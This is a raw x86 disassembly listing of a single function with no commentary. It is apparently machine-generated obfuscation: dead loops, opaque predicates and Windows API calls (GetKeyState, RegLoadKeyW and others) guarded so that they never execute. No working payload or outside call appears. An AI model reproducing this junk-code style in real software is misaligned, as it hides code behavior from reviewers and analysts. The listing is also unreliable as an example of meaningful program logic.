lea ecx, [ebp - 0x1600]
call fcn.0040f321
or dword [eax], 0xffffffff
jmp 0x403a3c
mov dword [ebp - 0x1f0], 0x8cff0ea7
mov dword [ebp - 0x74c], 2
mov dword [ebp - 0x1364], 0x52e4a6b2
mov byte [ebp - 0x1f9], 0
movzx eax, byte [ebp - 0x1f9]
test eax, eax
je 0x403aac
push 0
push 0x1136
push 0x1646
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [ebp - 0x1f0], 0x1a
jmp 0x403ac5
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xffffffeb
jge 0x403cb6
mov dword [ebp - 0x114], 0x3ee76373
mov byte [ebp - 0x1a8], 0
movzx eax, byte [ebp - 0x1a8]
test eax, eax
je 0x403aff
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp dword [ebp - 0x1f0], 0
jne 0x403b14
mov dword [ebp - 0xf70], 1
jmp 0x403b1b
and dword [ebp - 0xf70], 0
cmp dword [ebp - 0x114], 0xd4a55f07
je 0x403b33
mov dword [ebp - 0xf60], 1
jmp 0x403b3a
and dword [ebp - 0xf60], 0
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0x114], eax
jl 0x403b51
cmp dword [ebp - 0x114], 0
jne 0x403b63
mov eax, 0xe2db
test eax, eax
jne 0x403b63
and dword [ebp - 0x940], 0
jmp 0x403b6d
mov dword [ebp - 0x940], 1
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x940]
jl 0x403b87
mov dword [ebp - 0x948], 1
jmp 0x403b8e
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0xf60]
cmp eax, dword [ebp - 0x948]
jne 0x403ba8
mov dword [ebp - 0xf68], 1
jmp 0x403baf
and dword [ebp - 0xf68], 0
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0xf68], eax
jge 0x403bc9
mov dword [ebp - 0x950], 1
jmp 0x403bd0
and dword [ebp - 0x950], 0
cmp dword [ebp - 0x950], 0x856c
jl 0x403be8
mov dword [ebp - 0x958], 1
jmp 0x403bef
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0xf70]
cmp eax, dword [ebp - 0x958]
je 0x403c09
mov dword [ebp - 0xf78], 1
jmp 0x403c10
and dword [ebp - 0xf78], 0
imul eax, dword [ebp - 0xf78], 0x3989
imul eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x114]
cmp eax, 1
jae 0x403c38
mov dword [ebp - 0x960], 1
jmp 0x403c3f
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x74c]
cmp dword [ebp - 0x960], eax
jge 0x403c59
mov dword [ebp - 0xf80], 1
jmp 0x403c60
and dword [ebp - 0xf80], 0
mov eax, dword [ebp - 0xf80]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xd5228033
jne 0x403c7f
cmp dword [ebp - 0x74c], 0
mov eax, 0xfff9
imul eax, eax, 0xdb88
cmp eax, dword [ebp - 0x74c]
jge 0x403c9e
mov dword [ebp - 0x968], 1
jmp 0x403ca5
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x968]
mov dword [ebp - 0x1364], eax
jmp 0x403ab8
mov dword [ebp - 0x61c], 0
jmp 0x403ccf
mov eax, dword [ebp - 0x61c]
inc eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0x16
jle 0x404d6c
mov dword [ebp - 0x8c], 0x5ba77230
mov dword [ebp - 0x8c], 0
jmp 0x403cff
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jg 0x4042e0
mov dword [ebp - 0x47c], 0x313dd33a
mov dword [ebp - 0x1330], 0xfffffff7
mov dword [ebp - 0x47c], 0
jmp 0x403d39
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 0xc
jl 0x403d8b
mov dword [ebp - 0x56c], 0
jmp 0x403d5b
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 3
jge 0x403d77
mov eax, dword [ebp - 0x56c]
mov dword [ebp + eax*4 - 0x19fc], 0xfffffffb
jmp 0x403d4e
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x19fc]
mov dword [ebp - 0x1330], eax
jmp 0x403d2c
mov dword [ebp - 0x17e0], 0x72a7
mov dword [ebp - 0x154], 1
push 2
lea ecx, [ebp - 0x68c]
call fcn.0040f233
mov dword [ebp - 0x1f8], 6
mov dword [ebp - 0x5e4], 0xfffffffa
mov dword [ebp - 0x484], 0x2955d482
mov dword [ebp - 0x6d8], 0xdef05de0
mov dword [ebp - 0x738], 0xfffffffc
push 1
lea ecx, [ebp - 0x15d0]
call fcn.0040f233
mov dword [ebp - 0x990], 0xcf2842c5
mov dword [ebp - 0xfb8], 0xd1892f88
mov dword [ebp - 0x10f4], 0
mov dword [ebp - 0xfe8], 0x826cce71
mov dword [ebp - 0x9c0], 0x37d796e9
mov dword [ebp - 0x10fc], 0x4084f7cb
mov dword [ebp - 0x84], 0
jmp 0x403e40
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x403e5f
push dword [ebp - 0x84]
lea ecx, [ebp - 0x68c]
call fcn.0040f321
and dword [eax], 0
jmp 0x403e33
mov dword [ebp - 0x84], 0
jmp 0x403e78
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x403e9a
push dword [ebp - 0x84]
lea ecx, [ebp - 0x15d0]
call fcn.0040f321
mov dword [eax], 1
jmp 0x403e6b
push 1
lea ecx, [ebp - 0x68c]
call fcn.0040f321
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x5e4], eax
jle 0x403ec1
mov dword [ebp - 0xf88], 1
jmp 0x403ec8
and dword [ebp - 0xf88], 0
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0xf88]
jne 0x403ee2
mov dword [ebp - 0x970], 1
jmp 0x403ee9
and dword [ebp - 0x970], 0
push 1
lea ecx, [ebp - 0x68c]
call fcn.0040f321
mov ecx, dword [ebp - 0x970]
cmp ecx, dword [eax]
jle 0x403f0c
mov dword [ebp - 0xf90], 1
jmp 0x403f13
and dword [ebp - 0xf90], 0
cmp dword [ebp - 0xf90], 0xffffffff
jle 0x403f28
mov dword [ebp - 0x978], 1
jmp 0x403f2f
and dword [ebp - 0x978], 0
mov esi, dword [ebp - 0x154]
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x978]
imul esi, eax
push 1
lea ecx, [ebp - 0x68c]
call fcn.0040f321
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x68c]
call fcn.0040f321
mov dword [eax], esi
mov eax, dword [ebp - 0x1f8]
dec eax
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x484], 0xc761
mov eax, dword [ebp - 0x484]
neg eax
jne 0x404027
push 1
lea ecx, [ebp - 0x68c]
call fcn.0040f321
mov ecx, dword [ebp - 0x1f8]
cmp dword [eax], ecx
jne 0x403faa
mov dword [ebp - 0xf98], 1
jmp 0x403fb1
and dword [ebp - 0xf98], 0
mov eax, dword [ebp - 0x6d8]
cmp dword [ebp - 0xf98], eax
je 0x403fcb
mov dword [ebp - 0x980], 1
jmp 0x403fd2
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x980], eax
jg 0x403fec
mov dword [ebp - 0xfa0], 1
jmp 0x403ff3
and dword [ebp - 0xfa0], 0
mov eax, dword [ebp - 0xfa0]
sub eax, dword [ebp - 0x484]
cmp eax, 0x31ea
jg 0x404012
mov dword [ebp - 0x988], 1
jmp 0x404019
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0x988]
neg eax
sub eax, dword [ebp - 0x738]
mov eax, 0xc63704b
sub eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x10f0], eax
push 0
lea ecx, [ebp - 0x15d0]
call fcn.0040f321
mov ecx, dword [ebp - 0x10f0]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x68c]
call fcn.0040f321
cmp dword [ebp - 0x484], 0
jne 0x404075
cmp dword [ebp - 0x154], 0
jne 0x404075
and dword [ebp - 0xfa8], 0
jmp 0x40407f
mov dword [ebp - 0xfa8], 1
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xfa8]
sub ecx, dword [ebp - 0x738]
sub eax, ecx
mov dword [ebp - 0x990], eax
cmp dword [ebp - 0x990], 0xe11f
jne 0x4040b7
mov eax, 0x3fd
test eax, eax
jne 0x4040b7
and dword [ebp - 0xfb0], 0
jmp 0x4040c1
mov dword [ebp - 0xfb0], 1
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0xfb0], eax
je 0x4040db
mov dword [ebp - 0x998], 1
jmp 0x4040e2
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0x998]
mov dword [ebp - 0xfb8], eax
mov esi, dword [ebp - 0xfb8]
push 1
lea ecx, [ebp - 0x68c]
call fcn.0040f321
cmp dword [eax], esi
jg 0x404111
mov dword [ebp - 0x9a0], 1
jmp 0x404118
and dword [ebp - 0x9a0], 0
cmp dword [ebp - 0x9a0], 0x6a17
jl 0x404130
mov dword [ebp - 0xfc0], 1
jmp 0x404137
and dword [ebp - 0xfc0], 0
push 1
lea ecx, [ebp - 0x68c]
call fcn.0040f321
mov ecx, dword [ebp - 0xfc0]
cmp ecx, dword [eax]
jg 0x40415a
mov dword [ebp - 0x9a8], 1
jmp 0x404161
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x10f4]
cmp dword [ebp - 0x9a8], eax
jg 0x40417b
mov dword [ebp - 0xfc8], 1
jmp 0x404182
and dword [ebp - 0xfc8], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0xfc8], eax
jne 0x404197
cmp dword [ebp - 0xfe8], 0
cmp dword [ebp - 0x1f8], 0x3c3a871d
jl 0x4041be
push 0
lea ecx, [ebp - 0x68c]
call fcn.0040f321
cmp dword [eax], 0
jne 0x4041be
and dword [ebp - 0x9b0], 0
jmp 0x4041c8
mov dword [ebp - 0x9b0], 1
mov eax, dword [ebp - 0x5e4]
cmp dword [ebp - 0x9b0], eax
je 0x4041e2
mov dword [ebp - 0xfd0], 1
jmp 0x4041e9
and dword [ebp - 0xfd0], 0
cmp dword [ebp - 0xfd0], 0xd9e6264a
jne 0x404201
mov dword [ebp - 0x9b8], 1
jmp 0x404208
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x9b8]
imul eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x11c4], eax
push 0
lea ecx, [ebp - 0x68c]
call fcn.0040f321
mov ecx, dword [ebp - 0x11c4]
mov dword [eax], ecx
cmp dword [ebp - 0x5e4], 0
jb 0x404245
mov dword [ebp - 0xfd8], 1
jmp 0x40424c
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0xfd8]
mov dword [ebp - 0x9c0], eax
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x9c0], eax
jg 0x404272
mov dword [ebp - 0xfe0], 1
jmp 0x404279
and dword [ebp - 0xfe0], 0
mov eax, dword [ebp - 0xfe0]
sub eax, dword [ebp - 0x154]
sub eax, dword [ebp - 0x738]
cmp dword [ebp - 0x1f8], eax
jl 0x40429f
mov dword [ebp - 0x9c8], 1
jmp 0x4042a6
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x9c8]
sub eax, dword [ebp - 0xfe8]
mov dword [ebp - 0x10fc], eax
lea ecx, [ebp - 0x15d0]
call fcn.0040f305
lea ecx, [ebp - 0x68c]
call fcn.0040f305
mov eax, dword [ebp - 0x2cc]
dec eax
mov dword [ebp - 0x2cc], eax
jmp 0x403cf2
mov dword [ebp - 0x1670], 0xb2c2
mov dword [ebp - 0x1678], 0xffffffff
mov dword [ebp - 0xff0], 0x88d9
mov dword [ebp - 0xd8], 0
jmp 0x404317
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 3
jge 0x404333
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x1b14], 0x27689351
jmp 0x40430a
mov dword [ebp - 0xd8], 0
jmp 0x40434c
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 3
jge 0x404368
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x1ad8], 0xac46ddcd
jmp 0x40433f
mov eax, dword [ebp - 0xff0]
dec eax
mov dword [ebp - 0xff0], eax
mov dword [ebp - 0x2cc], 0
jmp 0x40438e
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 3
jg 0x404d67
mov dword [ebp - 0x8c], 0
jmp 0x4043b4
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 4
jge 0x404551
mov dword [ebp - 0x11c], 1
mov dword [ebp - 0x9d4], 0x746a1c17
mov dword [ebp - 0x11cc], 0x3dc0e3e7
mov dword [ebp - 0x11c], 0xffffffe3
jmp 0x4043f8
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xfffffff0
jle 0x4044ee
mov dword [ebp - 0x30c], 0x111738ab
mov dword [ebp - 0x48c], 0
jmp 0x404428
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 2
jge 0x404444
mov eax, dword [ebp - 0x48c]
mov dword [ebp + eax*4 - 0x1394], 0xa473eb90
jmp 0x40441b
mov dword [ebp - 0x30c], 0
jmp 0x40445d
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 1
jg 0x4044cd
mov dword [ebp - 0x574], 0xfffffff7
mov dword [ebp - 0x574], 0
jmp 0x404489
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 1
jg 0x4044cb
mov byte [ebp - 0x289], 0
movzx eax, byte [ebp - 0x289]
test eax, eax
je 0x4044af
push 0x2309
call dword [sym.imp.USER32.dll_GetKeyState]
mov eax, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x30c]
mov eax, dword [ebp + eax*4 - 0x1394]
mov dword [ebp + ecx*4 - 0x1394], eax
jmp 0x40447c
jmp 0x404450
mov byte [ebp - 0x15a], 0
movzx eax, byte [ebp - 0x15a]
test eax, eax
je 0x4044e9
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x4043eb
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x11c]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x9d4], eax
cmp dword [ebp - 0x9d4], 0x747bb7ab
jne 0x404525
mov dword [ebp - 0xd4c], 1
jmp 0x40452c
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0xd4c]
mov dword [ebp - 0x11cc], eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x1600]
call fcn.0040f321
or dword [eax], 0xffffffff
jmp 0x4043a7
push 2
lea ecx, [ebp - 0x1814]
call fcn.0040f233
push 1
lea ecx, [ebp - 0x128c]
call fcn.0040f233
mov dword [ebp - 0xe0], 0
jmp 0x404584
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 2
jge 0x4045a3
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x1814]
call fcn.0040f321
and dword [eax], 0
jmp 0x404577
mov dword [ebp - 0xe0], 0
jmp 0x4045bc
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 1
jge 0x4045de
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x128c]
call fcn.0040f321
mov dword [eax], 9
jmp 0x4045af
mov byte [ebp - 0x15b], 0
movzx eax, byte [ebp - 0x15b]
test eax, eax
je 0x404606
push 0
push 0
push 0x1df0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
lea ecx, [ebp - 0x128c]
call fcn.0040f321
and dword [eax], 0
jmp 0x40463c
push 0
lea ecx, [ebp - 0x128c]
call fcn.0040f321
mov dword [ebp - 0x9dc], eax
mov eax, dword [ebp - 0x9dc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x9dc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x128c]
call fcn.0040f321
cmp dword [eax], 1
jg 0x404671
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x40466f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x404618
lea ecx, [ebp - 0x128c]
call fcn.0040f305
lea ecx, [ebp - 0x1814]
call fcn.0040f305
mov dword [ebp - 0x94], 1
push 2
lea ecx, [ebp - 0x15e8]
call fcn.0040f233
mov dword [ebp - 0x494], 0
jmp 0x4046b7
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 2
jge 0x4046d9
push dword [ebp - 0x494]
lea ecx, [ebp - 0x15e8]
call fcn.0040f321
mov dword [eax], 0xffff
jmp 0x4046aa
mov dword [ebp - 0x94], 0
jmp 0x4046f2
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0xfffffffa
jne 0x404830
mov dword [ebp - 0x644], 0xfda0e60f
mov dword [ebp - 0x1658], 0xffffffff
mov dword [ebp - 0x1654], 0xffffffff
mov dword [ebp - 0x1650], 0xffffffff
mov dword [ebp - 0x164c], 0xffffffff
mov dword [ebp - 0x644], 0
jmp 0x40474a
mov eax, dword [ebp - 0x644]
dec eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0xfffffffb
je 0x40482b
mov dword [ebp - 0x340], 0xfffffff8
mov dword [ebp - 0x3d0], 0x71dfd947
mov dword [ebp - 0x340], 3
jmp 0x404784
mov eax, dword [ebp - 0x340]
dec eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0
jl 0x404826
mov eax, dword [ebp - 0x340]
mov eax, dword [ebp + eax*4 - 0x1658]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3d0], 0
jmp 0x4047bd
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 3
jg 0x404821
mov dword [ebp - 0x49c], 0x896e6a37
mov dword [ebp - 0x49c], 0
jmp 0x4047e9
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 3
jg 0x40481f
mov byte [ebp - 0x15f], 0
movzx eax, byte [ebp - 0x15f]
test eax, eax
je 0x40481d
push 0x21d9
push 0x1939
push 0
push 0
push 0x85
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
jmp 0x4047dc
jmp 0x4047b0
jmp 0x404777
jmp 0x40473d
jmp 0x4046e5
mov dword [ebp - 0x94], 0
jmp 0x404849
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x40486b
push dword [ebp - 0x94]
lea ecx, [ebp - 0x15e8]
call fcn.0040f321
mov dword [eax], 0xf3e7
jmp 0x40483c
lea ecx, [ebp - 0x15e8]
call fcn.0040f305
mov byte [ebp - 0x163], 0
mov dword [ebp - 0x50], 2
mov dword [ebp - 0x57c], 9
mov dword [ebp - 0xd54], 0xffffffff
mov dword [ebp - 0x348], 1
cmp dword [ebp - 0x50], 0
je 0x4048b9
or eax, 0xffffffff
je 0x4048b9
mov dword [ebp - 0x9f4], 1
jmp 0x4048c0
and dword [ebp - 0x9f4], 0
mov dword [ebp - 0x57c], 0xd2f
cmp dword [ebp - 0x57c], 0
jne 0x4048e3
push 9
pop eax
test eax, eax
jne 0x4048e3
and dword [ebp - 0x1104], 0
jmp 0x4048ed
mov dword [ebp - 0x1104], 1
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1680], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x57c], eax
je 0x40490d
mov dword [ebp - 0xfe4], 1
jmp 0x404914
and dword [ebp - 0xfe4], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xfe4], eax
jne 0x40492b
mov dword [ebp - 0x9e4], 1
jmp 0x404932
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x9e4]
mov dword [ebp - 0xd54], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xd54], eax
jle 0x404958
mov dword [ebp - 0x9ec], 1
jmp 0x40495f
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x9ec], eax
jne 0x40497f
cmp dword [ebp - 0x57c], 0
je 0x40497f
mov dword [ebp - 0xf0c], 1
jmp 0x404986
and dword [ebp - 0xf0c], 0
mov eax, dword [ebp - 0xf0c]
add eax, 0x185a
cmp eax, 0x307b5ca9
jl 0x4049a4
mov dword [ebp - 0xd5c], 1
jmp 0x4049ab
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0x9f4]
cmp eax, dword [ebp - 0xd5c]
jg 0x4049c5
mov dword [ebp - 0x11d4], 1
jmp 0x4049cc
and dword [ebp - 0x11d4], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1688], eax
mov dword [ebp - 0x348], 0xfffffffd
mov dword [ebp - 0x50], 0
jmp 0x4049ef
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x16
jl 0x404ab1
mov dword [ebp - 0x13d4], 1
mov dword [ebp - 0x13d0], 1
mov dword [ebp - 0x13cc], 1
mov dword [ebp - 0x13c8], 1
lea ecx, [ebp - 0x721]
call fcn.0040f330
push eax
lea eax, [ebp - 0x13c4]
push eax
lea eax, [ebp - 0x13d4]
push eax
lea ecx, [ebp - 0x1a5c]
call fcn.0040f333
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1a14]
call fcn.0040f2df
mov dword [ebp - 0x348], 0
jmp 0x404a6f
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 3
jg 0x404aa1
mov byte [ebp - 0x161], 0
movzx eax, byte [ebp - 0x161]
test eax, eax
je 0x404a9f
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
jmp 0x404a62
lea ecx, [ebp - 0x1a14]
call fcn.0040f305
jmp 0x4049e8
movzx eax, byte [ebp - 0x163]
test eax, eax
je 0x404d62
push 1
lea ecx, [ebp - 0x6a4]
call fcn.0040f233
mov dword [ebp - 0x2d4], 0x19adb821
mov dword [ebp - 0xa04], 0xe3ca3691
mov dword [ebp - 0x11dc], 0x2fa5d872
mov dword [ebp - 0xe8], 0
jmp 0x404b04
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x404b26
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov dword [eax], 0xfffffffe
jmp 0x404af7
mov dword [ebp - 0xe8], 0
jmp 0x404b3f
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x404b5b
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x110c], 0x6595ad33
jmp 0x404b32
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
cmp dword [eax], 0xfffffff8
jne 0x404b74
cmp dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x2d4], eax
jne 0x404b8e
mov dword [ebp - 0x9fc], 1
jmp 0x404b95
and dword [ebp - 0x9fc], 0
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov ecx, dword [ebp - 0x9fc]
cmp ecx, dword [eax]
jne 0x404bb8
mov dword [ebp - 0x1080], 1
jmp 0x404bbf
and dword [ebp - 0x1080], 0
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov eax, dword [ebp - 0x1080]
sub eax, 0x1a5679b5
mov dword [ebp - 0xa04], eax
mov eax, dword [ebp - 0xa04]
mov dword [ebp - 0x1690], eax
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov esi, eax
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x404c24
mov dword [ebp - 0xd64], 1
jmp 0x404c2b
and dword [ebp - 0xd64], 0
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0xd64], eax
je 0x404c45
mov dword [ebp - 0xa0c], 1
jmp 0x404c4c
and dword [ebp - 0xa0c], 0
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov ecx, dword [ebp - 0xa0c]
cmp ecx, dword [eax]
jne 0x404c6f
mov dword [ebp - 0x6e0], 1
jmp 0x404c76
and dword [ebp - 0x6e0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6e0]
mov dword [ebp + eax - 0x110c], ecx
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov ecx, dword [ebp - 0x6e0]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x2d4]
jg 0x404cb2
mov dword [ebp - 0xf14], 1
jmp 0x404cb9
and dword [ebp - 0xf14], 0
cmp dword [ebp - 0xf14], 0x6e2c
jge 0x404cd1
mov dword [ebp - 0xa14], 1
jmp 0x404cd8
and dword [ebp - 0xa14], 0
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov ecx, dword [ebp - 0xa14]
cmp ecx, dword [eax]
jl 0x404cfb
mov dword [ebp - 0xd6c], 1
jmp 0x404d02
and dword [ebp - 0xd6c], 0
push 0
lea ecx, [ebp - 0x6a4]
call fcn.0040f321
mov ecx, dword [ebp - 0xd6c]
add ecx, dword [eax]
sub ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x11dc], ecx
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x404d4b
push 0xa0b
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
lea ecx, [ebp - 0x6a4]
call fcn.0040f305
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
jmp 0x404381
jmp 0x403cc2
lea ecx, [ebp - 0x1600]
call fcn.0040f305
mov dword [ebp - 0x7a4], 0xffffffff
mov dword [ebp - 0x7a0], 0xffffffff
mov dword [ebp - 0x79c], 0xffffffff
mov dword [ebp - 0x798], 0xffffffff
mov dword [ebp - 0x200], 0x8bdfadf6
mov dword [ebp - 0x208], 0x78e60d74
mov dword [ebp - 0x1114], 0x6de21e5
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x7a4], 0
jne 0x404e0b
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1698], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x7a4]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x7a4]
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x7a4]
jl 0x404e0b
and dword [ebp - 0xa1c], 0
jmp 0x404e15
mov dword [ebp - 0xa1c], 1
mov eax, 0x2fafd11d
sub eax, dword [ebp - 0xa1c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x7a4]
jne 0x404e49
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7a4], 0
je 0x404e49
mov dword [ebp - 0xfec], 1
jmp 0x404e50
and dword [ebp - 0xfec], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x7a4]
add eax, dword [ebp - 0xfec]
cmp eax, 5
jg 0x404e74
mov dword [ebp - 0xa24], 1
jmp 0x404e7b
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xa24]
neg eax
je 0x405135
mov dword [ebp - 0xd7c], 0
mov dword [ebp - 0xf24], 0x9a7e1289
mov dword [ebp - 0x324], 3
mov dword [ebp - 0x200], 0xffffffe4
jmp 0x404ec0
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x35
jge 0x405133
mov dword [ebp - 0x754], 0
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0xa44], 0x2ad14ca7
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7a4]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
jne 0x404f18
mov eax, 0xcc09
test eax, eax
jne 0x404f18
and dword [ebp - 0xd74], 0
jmp 0x404f22
mov dword [ebp - 0xd74], 1
mov eax, dword [ebp - 0xd74]
